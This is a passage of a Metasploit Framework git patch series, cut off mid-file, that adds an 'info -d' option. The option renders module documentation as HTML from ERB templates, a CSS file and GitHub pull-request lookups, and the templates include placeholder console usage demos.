From b0cfb4aacf724477eb5e83a369d0d54921a5556e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 16 Feb 2016 22:44:03 -0600 Subject: [PATCH 01/96] Add info -d to show module documentation in .md --- Gemfile | 2 + Gemfile.lock | 20 +- data/markdown.css | 233 ++++++++++++++ lib/msf/ui/console/command_dispatcher/core.rb | 16 +- lib/msf/util/document_generator.rb | 285 ++++++++++++++++++ 5 files changed, 550 insertions(+), 6 deletions(-) create mode 100644 data/markdown.css create mode 100644 lib/msf/util/document_generator.rb diff --git a/Gemfile b/Gemfile index 9893680a4d..49f7bad8ae 100755 --- a/Gemfile +++ b/Gemfile @@ -18,6 +18,8 @@ group :development do gem 'yard' # for development and testing purposes gem 'pry' + # module documentation + gem 'octokit', '~> 4.0' end group :development, :test do diff --git a/Gemfile.lock b/Gemfile.lock index 4cf7c7588b..ed54bee260 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -57,9 +57,10 @@ GEM multi_json (~> 1.3) thread_safe (~> 0.1) tzinfo (~> 0.3.37) + addressable (2.3.8) arel (4.0.2) - arel-helpers (2.1.1) - activerecord (= 4.0.13) + arel-helpers (2.2.0) + activerecord (>= 3.1.0, < 5) aruba (0.6.2) childprocess (>= 0.3.6) cucumber (>= 1.1.1) @@ -95,6 +96,8 @@ GEM factory_girl_rails (4.5.0) factory_girl (~> 4.5.0) railties (>= 3.0.0) + faraday (0.9.2) + multipart-post (>= 1.2, < 3) ffi (1.9.8) filesize (0.1.1) fivemat (1.3.2) @@ -139,17 +142,20 @@ GEM mime-types (2.6.1) mini_portile2 (2.0.0) minitest (4.7.5) - msgpack (0.7.1) + msgpack (0.7.4) multi_json (1.11.2) multi_test (0.1.2) + multipart-post (2.0.0) network_interface (0.0.1) nokogiri (1.6.7.2) mini_portile2 (~> 2.0.0.rc2) + octokit (4.2.0) + sawyer (~> 0.6.0, >= 0.5.3) openssl-ccm (1.2.1) packetfu (1.1.11) network_interface (~> 0.0) pcaprub (~> 0.12) - pcaprub (0.12.0) + pcaprub (0.12.1) pg (0.18.4) pg_array_parser (0.0.9) postgres_ext (2.4.1) @@ -200,8 +206,11 @@ GEM rspec-mocks (~> 3.3.0) rspec-support (~> 3.3.0) rspec-support (3.3.0) - rubyntlm (0.5.2) + rubyntlm (0.6.0) rubyzip (1.1.7) + sawyer (0.6.0) + addressable (~> 2.3.5) + faraday (~> 0.8, < 0.10) shoulda-matchers (2.8.0) activesupport (>= 3.0.0) simplecov (0.9.2) @@ -238,6 +247,7 @@ DEPENDENCIES factory_girl_rails (~> 4.5.0) fivemat (~> 1.3.1) metasploit-framework! + octokit (~> 4.0) pry rake (>= 10.0.0) redcarpet diff --git a/data/markdown.css b/data/markdown.css new file mode 100644 index 0000000000..8bad383d05 --- /dev/null +++ b/data/markdown.css @@ -0,0 +1,233 @@ +h1, +h2, +h3, +h4, +h5, +h6, +p, +blockquote { + margin: 0; + padding: 0; +} +body { + font-family: "Helvetica Neue", Helvetica, "Hiragino Sans GB", Arial, sans-serif; + font-size: 13px; + line-height: 18px; + color: #737373; + margin: 10px 13px 10px 13px; +} +a { + color: #0069d6; +} +a:hover { + color: #0050a3; + text-decoration: none; +} +a img { + border: none; +} +p { + margin-bottom: 9px; +} +h1, +h2, +h3, +h4, +h5, +h6 { + color: #404040; + line-height: 36px; +} +h1 { + margin-bottom: 18px; + font-size: 30px; +} +h2 { + font-size: 24px; +} +h3 { + font-size: 18px; +} +h4 { + font-size: 16px; +} +h5 { + font-size: 14px; +} +h6 { + font-size: 13px; +} +hr { + margin: 0 0 19px; + border: 0; + border-bottom: 1px solid #ccc; +} +blockquote { + padding: 13px 13px 21px 15px; + margin-bottom: 18px; + font-family:georgia,serif; + font-style: italic; +} +blockquote:before { + content:"\201C"; + font-size:40px; + margin-left:-10px; + font-family:georgia,serif; + color:#eee; +} +blockquote p { + font-size: 14px; + font-weight: 300; + line-height: 18px; + margin-bottom: 0; + font-style: italic; +} +code, pre { + font-family: Monaco, Andale Mono, Courier New, monospace; +} +code { + background-color: #fee9cc; + color: rgba(0, 0, 0, 0.75); + padding: 1px 3px; + font-size: 12px; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} +pre { + display: block; + padding: 14px; + margin: 0 0 18px; + line-height: 16px; + font-size: 11px; + border: 1px solid #d9d9d9; + white-space: pre-wrap; + word-wrap: break-word; +} +pre code { + background-color: #fff; + color:#737373; + font-size: 11px; + padding: 0; +} +@media screen and (min-width: 768px) { + body { + width: 748px; + margin:10px auto; + } +} + + +/* +Description: Foundation 4 docs style for highlight.js +Author: Dan Allen +Website: http://foundation.zurb.com/docs/ +Version: 1.0 +Date: 2013-04-02 +*/ + +pre code { + display: block; padding: 0.5em; + background: #eee; +} + +pre .decorator, +pre .annotation { + color: #000077; +} + +pre .attribute { + color: #070; +} + +pre .value, +pre .string, +pre .scss .value .string { + color: #d14; +} + +pre .comment { + color: #998; + font-style: italic; +} + +pre .function .title { + color: #900; +} + +pre .class { + color: #458; +} + +pre .id, +pre .pseudo, +pre .constant, +pre .hexcolor { + color: teal; +} + +pre .variable { + color: #336699; +} + +pre .javadoc { + color: #997700; +} + +pre .pi, +pre .doctype { + color: #3344bb; +} + +pre .number { + color: #099; +} + +pre .important { + color: #f00; +} + +pre .label { + color: #970; +} + +pre .preprocessor { + color: #579; +} + +pre .reserved, +pre .keyword, +pre .scss .value { + color: #000; +} + +pre .regexp { + background-color: #fff0ff; + color: #880088; +} + +pre .symbol { + color: #990073; +} + +pre .symbol .string { + color: #a60; +} + +pre .tag { + color: #007700; +} + +pre .at_rule, +pre .at_rule .keyword { + color: #088; +} + +pre .at_rule .preprocessor { + color: #808; +} + +pre .scss .tag, +pre .scss .attribute { + color: #339; +} \ No newline at end of file diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index a05d06080f..451dea0f28 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -16,6 +16,7 @@ require 'msf/ui/console/command_dispatcher/nop' require 'msf/ui/console/command_dispatcher/payload' require 'msf/ui/console/command_dispatcher/auxiliary' require 'msf/ui/console/command_dispatcher/post' +require 'msf/util/document_generator' module Msf module Ui @@ -743,7 +744,9 @@ class Core def cmd_info_help print_line "Usage: info [mod2 mod3 ...]" print_line - print_line "Optionally the flag '-j' will print the data in json format" + print_line "Options:" + print_line "* The flag '-j' will print the data in json format" + print_line "* The flag '-d' will show the markdown version with a browser" print_line "Queries the supplied module or modules for information. If no module is given," print_line "show info for the currently active module." print_line @@ -754,15 +757,24 @@ class Core # def cmd_info(*args) dump_json = false + show_doc = false + if args.include?('-j') args.delete('-j') dump_json = true end + if args.include?('-d') + args.delete('-d') + show_doc = true + end + if (args.length == 0) if (active_module) if dump_json print(Serializer::Json.dump_module(active_module) + "\n") + elsif show_doc + Msf::Util::DocumentGenerator.get_module_document(active_module) else print(Serializer::ReadableText.dump_module(active_module)) end @@ -783,6 +795,8 @@ class Core print_error("Invalid module: #{name}") elsif dump_json print(Serializer::Json.dump_module(mod) + "\n") + elsif show_doc + Msf::Util::DocumentGenerator.get_module_document(mod) else print(Serializer::ReadableText.dump_module(mod)) end diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb new file mode 100644 index 0000000000..a4b53b4fc8 --- /dev/null +++ b/lib/msf/util/document_generator.rb @@ -0,0 +1,285 @@ +### +# +# This provides methods to generate documentation for a module. +# +### + +require 'octokit' +require 'nokogiri' +require 'redcarpet' +require 'net/http' +require 'erb' + +module Redcarpet + module Render + class MsfMdHTML < Redcarpet::Render::HTML + def block_code(code, language) + "
" \
+          "#{code}" \
+        "
" + end + end + end +end + + +module Msf + module Util + module DocumentGenerator + + class HTMLwithPygments < Redcarpet::Render::HTML + def block_code(code, language) + "Nope" + end + end + + class DocumentNormalizer + + CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown.css' )) + + def get_md_content(items) + md_to_html(ERB.new(%Q|## #{items[:mod_name]} + + #{normalize_description(items[:mod_description])} + + ## Module Name + + #{items[:mod_fullname]} + + ## Authors + + #{normalize_authors(items[:mod_authors])} + + <% unless items[:mod_pull_requests].empty? %> + ## Related Pull Requests + + #{normalize_pull_requests(items[:mod_pull_requests])} + <% end %> + + <% unless items[:mod_refs].empty? %> + ## References + + #{normalize_references(items[:mod_refs])} + <% end %> + + ## Platforms + #{normalize_platforms(items[:mod_platforms])} + + ## Reliability + #{normalize_rank(items[:mod_rank])} + + ## Demo + + #{normalize_demo_output(items[:mod_demo])} + |).result(binding())) + end + + private + + def md_to_html(md) + md.gsub!(/\x20{12}/, '') + r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true) + css_path = + %Q| + + + + + + #{r.render(md)} + + + | + end + + def normalize_pull_requests(pull_requests) + formatted_pr = [] + + pull_requests.each_pair do |number, pr| + formatted_pr << "* ##{number} - #{pr[:title]}" + end + + formatted_pr * "\n" + end + + def normalize_description(description) + Rex::Text.wordwrap(Rex::Text.compress(description)) + end + + def normalize_authors(authors) + if authors.kind_of?(Array) + authors.collect { |a| "* #{a}" } * "\n" + else + authors + end + end + + def normalize_targets(targets) + targets.collect { |c| "* #{c.name}" } * "\n" + end + + def normalize_references(refs) + refs.collect { |r| "* #{r}" } * "\n" + end + + def normalize_platforms(platforms) + if platforms.kind_of?(Array) + platforms.collect { |p| "* #{p}" } * "\n" + else + platforms + end + end + + def normalize_rank(rank) + "[#{Msf::RankingName[rank].capitalize}](https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking)" + end + + def normalize_demo_output(mod) + %Q|``` + msf > use #{mod.fullname} + msf #{mod.type}(#{mod.shortname}) > show targets + ... a list of targets ... + msf #{mod.type}(#{mod.shortname}) > set TARGET + msf #{mod.type}(#{mod.shortname}) > show options + ... show and set options ... + msf #{mod.type}(#{mod.shortname}) > run + ```| + end + + end + + class PullRequestFinder + class Exception < RuntimeError; end + + MANUAL_BASE_PATH = File.expand_path(File.join(Msf::Config.module_directory, '..', 'documentation', 'modules' )) + + attr_accessor :git_client + attr_accessor :repository + attr_accessor :branch + attr_accessor :owner + attr_accessor :git_access_token + + def initialize + unless ENV.has_key?('GITHUB_OAUTH_TOKEN') + raise PullRequestFinder::Exception, 'GITHUB_OAUTH_TOKEN environment variable not set.' + end + + self.owner = 'rapid7' + self.repository = "#{owner}/metasploit-framework" + self.branch = 'master' + self.git_access_token = ENV['GITHUB_OAUTH_TOKEN'] + self.git_client = Octokit::Client.new(access_token: git_access_token) + end + + def search(mod) + file_name = get_normalized_module_name(mod) + commits = get_commits_from_file(file_name) + get_pull_requests_from_commits(commits) + end + + private + + def get_normalized_module_name(mod) + source_fname = mod.method(:initialize).source_location.first + source_fname.scan(/(modules.+)/).flatten.first || '' + end + + def get_commits_from_file(path) + commits = git_client.commits(repository, branch, path: path) + if commits.empty? + # Possibly the path is wrong. + raise PullRequestFinder::Exception, 'No commits found.' + end + + commits + end + + def get_author(commit) + if commit.author + return commit.author[:login].to_s + end + + '' + end + + def is_author_blacklisted?(commit) + ['tabassassin'].include?(get_author(commit)) + end + + def get_pull_requests_from_commits(commits) + pull_requests = {} + + commits.each do |commit| + next if is_author_blacklisted?(commit) + + pr = get_pull_request_from_commit(commit) + unless pr.empty? + pull_requests[pr[:number]] = pr + end + end + + pull_requests + end + + def get_pull_request_from_commit(commit) + sha = commit.sha + url = URI.parse("https://github.com/#{repository}/branch_commits/#{sha}") + cli = Net::HTTP.new(url.host, url.port) + cli.use_ssl = true + req = Net::HTTP::Get.new(url.request_uri) + res = cli.request(req) + n = Nokogiri::HTML(res.body) + found_pr_link = n.at('li[@class="pull-request"]//a') + + # If there is no PR associated with this commit, it's probably from the SVN days. + return {} unless found_pr_link + + href = found_pr_link.attributes['href'].text + title = found_pr_link.attributes['title'].text + + # Filter out all the pull requests that do not belong to rapid7. + # If this happens, it's probably because the PR was submitted to somebody's fork. + return {} unless /^\/#{owner}\// === href + + { number: href.scan(/\d+$/).flatten.first, title: title } + end + + end + + def self.get_module_document(mod) + manual_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, mod.fullname) + + if File.exists?(manual_path) + Rex::Compat.open_webrtc_browser("file://#{manual_path}") + else + pr_finder = PullRequestFinder.new + pr = pr_finder.search(mod) + n = DocumentNormalizer.new + items = { + mod_description: mod.description, + mod_authors: mod.send(:module_info)['Author'], + mod_fullname: mod.fullname, + mod_name: mod.name, + mod_pull_requests: pr, + mod_refs: mod.references, + mod_rank: mod.rank, + mod_platforms: mod.send(:module_info)['Platform'], + mod_options: mod.datastore, + mod_demo: mod + } + + if mod.respond_to?(:targets) && mod.targets + items[:mod_targets] = mod.targets + end + + md = n.get_md_content(items) + f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html']) + f.write(md) + f.close + Rex::Compat.open_webrtc_browser("file://#{f.path}") + end + end + + end + end +end From 509a1e8de176bc82a4b125881211e9da944b840c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 16 Feb 2016 23:18:29 -0600 Subject: [PATCH 02/96] Add manual for demo purposes --- .../exploit/windows/browser/ms14_064_ole_code_execution.md | 1 + lib/msf/util/document_generator.rb | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md diff --git a/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md b/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md new file mode 100644 index 0000000000..70a58ea7ff --- /dev/null +++ b/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md @@ -0,0 +1 @@ +# KEEP CALM AND EAT A COOKIE \ No newline at end of file diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index a4b53b4fc8..2b5af7f122 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -247,7 +247,7 @@ module Msf end def self.get_module_document(mod) - manual_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, mod.fullname) + manual_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md") if File.exists?(manual_path) Rex::Compat.open_webrtc_browser("file://#{manual_path}") From 08dff6541d3cdb98c6366887ae28ee8b9558d32c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 16 Feb 2016 23:29:08 -0600 Subject: [PATCH 03/96] rm junk code --- lib/msf/util/document_generator.rb | 6 ------ 1 file changed, 6 deletions(-) diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index 2b5af7f122..dec8dd0cd4 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -27,12 +27,6 @@ module Msf module Util module DocumentGenerator - class HTMLwithPygments < Redcarpet::Render::HTML - def block_code(code, language) - "Nope" - end - end - class DocumentNormalizer CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown.css' )) From 5339bb50d82520e5014aaabf9e22dd79c7371935 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 17 Feb 2016 13:48:24 -0600 Subject: [PATCH 04/96] Support targets --- lib/msf/util/document_generator.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index dec8dd0cd4..7935c5eef8 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -56,6 +56,11 @@ module Msf #{normalize_references(items[:mod_refs])} <% end %> + ## Available Targets + <% if items[:mod_targets] %> + #{normalize_targets(items[:mod_targets])} + <% end %> + ## Platforms #{normalize_platforms(items[:mod_platforms])} From d5c005d9488128f699c8bba1877479e2601fa24d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 17 Feb 2016 13:56:03 -0600 Subject: [PATCH 05/96] HTML-escape some fields --- lib/msf/util/document_generator.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index 7935c5eef8..7f728bdac8 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -38,7 +38,7 @@ module Msf ## Module Name - #{items[:mod_fullname]} + #{Rex::Text.html_encode(items[:mod_fullname])} ## Authors @@ -107,9 +107,9 @@ module Msf def normalize_authors(authors) if authors.kind_of?(Array) - authors.collect { |a| "* #{a}" } * "\n" + authors.collect { |a| "* #{Rex::Text.html_encode(a)}" } * "\n" else - authors + Rex::Text.html_encode(authors) end end From 714106174e8554fcc7a0711144b962a5e4aa6f23 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 17 Feb 2016 14:27:29 -0600 Subject: [PATCH 06/96] Do external erb template --- data/markdown_doc/default_template.erb | 43 ++++++++++++++++++ data/{ => markdown_doc}/markdown.css | 0 lib/msf/util/document_generator.rb | 62 +++++++++----------------- 3 files changed, 64 insertions(+), 41 deletions(-) create mode 100644 data/markdown_doc/default_template.erb rename data/{ => markdown_doc}/markdown.css (100%) diff --git a/data/markdown_doc/default_template.erb b/data/markdown_doc/default_template.erb new file mode 100644 index 0000000000..b5ab9a8977 --- /dev/null +++ b/data/markdown_doc/default_template.erb @@ -0,0 +1,43 @@ +## <%= items[:mod_name] %> + +<%= normalize_description(items[:mod_description]) %> + +## Module Name + +<%= Rex::Text.html_encode(items[:mod_fullname]) %> + +## Authors + +<%= normalize_authors(items[:mod_authors]) %> + +<% unless items[:mod_pull_requests].empty? %> +## Related Pull Requests + +<%= normalize_pull_requests(items[:mod_pull_requests]) %> +<% end %> + +<% unless items[:mod_refs].empty? %> +## References + +<%= normalize_references(items[:mod_refs]) %> +<% end %> + +## Available Targets +<% if items[:mod_targets] %> +<%= normalize_targets(items[:mod_targets]) %> +<% end %> + +## Platforms +<%= normalize_platforms(items[:mod_platforms]) %> + +## Reliability +<%= normalize_rank(items[:mod_rank]) %> + +## Mandatory Options +<% unless items[:mod_options].empty? %> +<%= normalize_options(items[:mod_options]) %> +<% end %> + +## Demo + +<%= normalize_demo_output(items[:mod_demo]) %> \ No newline at end of file diff --git a/data/markdown.css b/data/markdown_doc/markdown.css similarity index 100% rename from data/markdown.css rename to data/markdown_doc/markdown.css diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index 7f728bdac8..9992701e64 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -29,48 +29,16 @@ module Msf class DocumentNormalizer - CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown.css' )) + CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc','markdown.css' )) + TEMPLATE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc','default_template.erb' )) def get_md_content(items) - md_to_html(ERB.new(%Q|## #{items[:mod_name]} - - #{normalize_description(items[:mod_description])} - - ## Module Name - - #{Rex::Text.html_encode(items[:mod_fullname])} - - ## Authors - - #{normalize_authors(items[:mod_authors])} - - <% unless items[:mod_pull_requests].empty? %> - ## Related Pull Requests - - #{normalize_pull_requests(items[:mod_pull_requests])} - <% end %> - - <% unless items[:mod_refs].empty? %> - ## References - - #{normalize_references(items[:mod_refs])} - <% end %> - - ## Available Targets - <% if items[:mod_targets] %> - #{normalize_targets(items[:mod_targets])} - <% end %> - - ## Platforms - #{normalize_platforms(items[:mod_platforms])} - - ## Reliability - #{normalize_rank(items[:mod_rank])} - - ## Demo - - #{normalize_demo_output(items[:mod_demo])} - |).result(binding())) + @md_template ||= lambda { + template = '' + File.open(TEMPLATE_PATH, 'rb') { |f| template = f.read } + return template + }.call + md_to_html(ERB.new(@md_template).result(binding())) end private @@ -101,6 +69,18 @@ module Msf formatted_pr * "\n" end + def normalize_options(mod_options) + required_options = [] + + mod_options.each_pair do |name, props| + if props.required && props.default.nil? + required_options << "* #{name} - #{props.desc}" + end + end + + required_options * "\n" + end + def normalize_description(description) Rex::Text.wordwrap(Rex::Text.compress(description)) end @@ -263,7 +243,7 @@ module Msf mod_refs: mod.references, mod_rank: mod.rank, mod_platforms: mod.send(:module_info)['Platform'], - mod_options: mod.datastore, + mod_options: mod.options, mod_demo: mod } From 8b267efa2df00258242ae5674bb23ab97d3f5ac6 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 17 Feb 2016 14:29:33 -0600 Subject: [PATCH 07/96] No need to gsub the first 12 spaces anymore --- lib/msf/util/document_generator.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index 9992701e64..bf22a11f15 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -44,7 +44,6 @@ module Msf private def md_to_html(md) - md.gsub!(/\x20{12}/, '') r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true) css_path = %Q| From 0b095cf08a11b8c6d676603377cf7edbd1d39fb7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 17 Feb 2016 15:25:31 -0600 Subject: [PATCH 08/96] Remove unwanted variable --- lib/msf/util/document_generator.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index bf22a11f15..ea171dcd9c 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -44,8 +44,7 @@ module Msf private def md_to_html(md) - r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true) - css_path = + r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true) %Q| From 76f2c917ee33fa077b473898dea113e9010b3bc3 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 17 Feb 2016 15:38:30 -0600 Subject: [PATCH 09/96] Allow no GITHUB_OAUTH_TOKEN, and gsub for demo --- data/markdown_doc/default_template.erb | 2 -- lib/msf/util/document_generator.rb | 17 ++++++++++++++--- 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/data/markdown_doc/default_template.erb b/data/markdown_doc/default_template.erb index b5ab9a8977..a27b2d7e95 100644 --- a/data/markdown_doc/default_template.erb +++ b/data/markdown_doc/default_template.erb @@ -10,11 +10,9 @@ <%= normalize_authors(items[:mod_authors]) %> -<% unless items[:mod_pull_requests].empty? %> ## Related Pull Requests <%= normalize_pull_requests(items[:mod_pull_requests]) %> -<% end %> <% unless items[:mod_refs].empty? %> ## References diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index ea171dcd9c..8908f24740 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -58,6 +58,11 @@ module Msf end def normalize_pull_requests(pull_requests) + if pull_requests.kind_of?(PullRequestFinder::Exception) + error = Rex::Text.html_encode(pull_requests.message) + return error + end + formatted_pr = [] pull_requests.each_pair do |number, pr| @@ -120,7 +125,7 @@ module Msf msf #{mod.type}(#{mod.shortname}) > show options ... show and set options ... msf #{mod.type}(#{mod.shortname}) > run - ```| + ```|.gsub(/\x20{12}/, '') end end @@ -229,8 +234,14 @@ module Msf if File.exists?(manual_path) Rex::Compat.open_webrtc_browser("file://#{manual_path}") else - pr_finder = PullRequestFinder.new - pr = pr_finder.search(mod) + begin + pr_finder = PullRequestFinder.new + pr = pr_finder.search(mod) + rescue PullRequestFinder::Exception => e + # This is a little weird, I guess, because the normalizer must handle two different + # data types. + pr = e + end n = DocumentNormalizer.new items = { mod_description: mod.description, From 1bfe1ad14054ed6950d81049cc25fe4c1cd58a79 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 17 Feb 2016 19:04:06 -0600 Subject: [PATCH 10/96] More demos --- data/markdown_doc/bes_demo_template.erb | 15 ++++++++++ data/markdown_doc/default_template.erb | 2 +- data/markdown_doc/generic_demo_template.erb | 9 ++++++ .../markdown_doc/httpserver_demo_template.erb | 4 +++ lib/msf/util/document_generator.rb | 29 ++++++++++++------- 5 files changed, 47 insertions(+), 12 deletions(-) create mode 100644 data/markdown_doc/bes_demo_template.erb create mode 100644 data/markdown_doc/generic_demo_template.erb create mode 100644 data/markdown_doc/httpserver_demo_template.erb diff --git a/data/markdown_doc/bes_demo_template.erb b/data/markdown_doc/bes_demo_template.erb new file mode 100644 index 0000000000..21c130dae2 --- /dev/null +++ b/data/markdown_doc/bes_demo_template.erb @@ -0,0 +1,15 @@ +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > run +``` + +This module is also supported by Browser Autopwn 2. + +To load it from Browser Autopwn 2, here's how: + +``` +msf > use auxiliary/server/browser_autopwn2 +msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN <%= mod.shortname %> +INCLUDE_PATTERN => <%= mod.shortname %> +msf auxiliary(browser_autopwn2) > exploit +``` \ No newline at end of file diff --git a/data/markdown_doc/default_template.erb b/data/markdown_doc/default_template.erb index a27b2d7e95..48c4b11be9 100644 --- a/data/markdown_doc/default_template.erb +++ b/data/markdown_doc/default_template.erb @@ -31,8 +31,8 @@ ## Reliability <%= normalize_rank(items[:mod_rank]) %> +<% unless normalize_options(items[:mod_options]).empty? %> ## Mandatory Options -<% unless items[:mod_options].empty? %> <%= normalize_options(items[:mod_options]) %> <% end %> diff --git a/data/markdown_doc/generic_demo_template.erb b/data/markdown_doc/generic_demo_template.erb new file mode 100644 index 0000000000..fec7ccf244 --- /dev/null +++ b/data/markdown_doc/generic_demo_template.erb @@ -0,0 +1,9 @@ +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show targets + ... a list of targets ... +msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` \ No newline at end of file diff --git a/data/markdown_doc/httpserver_demo_template.erb b/data/markdown_doc/httpserver_demo_template.erb new file mode 100644 index 0000000000..3d5737a95d --- /dev/null +++ b/data/markdown_doc/httpserver_demo_template.erb @@ -0,0 +1,4 @@ +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` \ No newline at end of file diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index 8908f24740..b56e69c933 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -29,8 +29,11 @@ module Msf class DocumentNormalizer - CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc','markdown.css' )) - TEMPLATE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc','default_template.erb' )) + CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'markdown.css')) + TEMPLATE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'default_template.erb')) + BES_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'bes_demo_template.erb')) + HTTPSERVER_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'httpserver_demo_template.erb')) + GENERIC_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'generic_demo_template.erb')) def get_md_content(items) @md_template ||= lambda { @@ -116,16 +119,20 @@ module Msf "[#{Msf::RankingName[rank].capitalize}](https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking)" end + def load_template(mod, path) + data = '' + File.open(path, 'rb') { |f| data = f.read } + ERB.new(data).result(binding()) + end + def normalize_demo_output(mod) - %Q|``` - msf > use #{mod.fullname} - msf #{mod.type}(#{mod.shortname}) > show targets - ... a list of targets ... - msf #{mod.type}(#{mod.shortname}) > set TARGET - msf #{mod.type}(#{mod.shortname}) > show options - ... show and set options ... - msf #{mod.type}(#{mod.shortname}) > run - ```|.gsub(/\x20{12}/, '') + if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) + load_template(mod, BES_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Exploit::Remote::HttpServer) + load_template(mod, HTTPSERVER_DEMO_TEMPLATE) + else + load_template(mod, GENERIC_DEMO_TEMPLATE) + end end end From 089d6985b6ce6e983a926dae157486c1022fd3b3 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Feb 2016 00:17:32 -0600 Subject: [PATCH 11/96] Add more demo templates --- .../auxiliary_scanner_template.erb | 29 ++++++++++++++ data/markdown_doc/default_template.erb | 7 +++- .../localexploit_demo_template.erb | 14 +++++++ data/markdown_doc/payload_demo_template.erb | 8 ++++ data/markdown_doc/post_demo_template.erb | 40 +++++++++++++++++++ lib/msf/ui/console/command_dispatcher/core.rb | 2 +- lib/msf/util/document_generator.rb | 22 +++++++--- 7 files changed, 115 insertions(+), 7 deletions(-) create mode 100644 data/markdown_doc/auxiliary_scanner_template.erb create mode 100644 data/markdown_doc/localexploit_demo_template.erb create mode 100644 data/markdown_doc/payload_demo_template.erb create mode 100644 data/markdown_doc/post_demo_template.erb diff --git a/data/markdown_doc/auxiliary_scanner_template.erb b/data/markdown_doc/auxiliary_scanner_template.erb new file mode 100644 index 0000000000..409a7c9970 --- /dev/null +++ b/data/markdown_doc/auxiliary_scanner_template.erb @@ -0,0 +1,29 @@ +This module is a scanner module, and is capable of testing against multiple hosts. + +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type 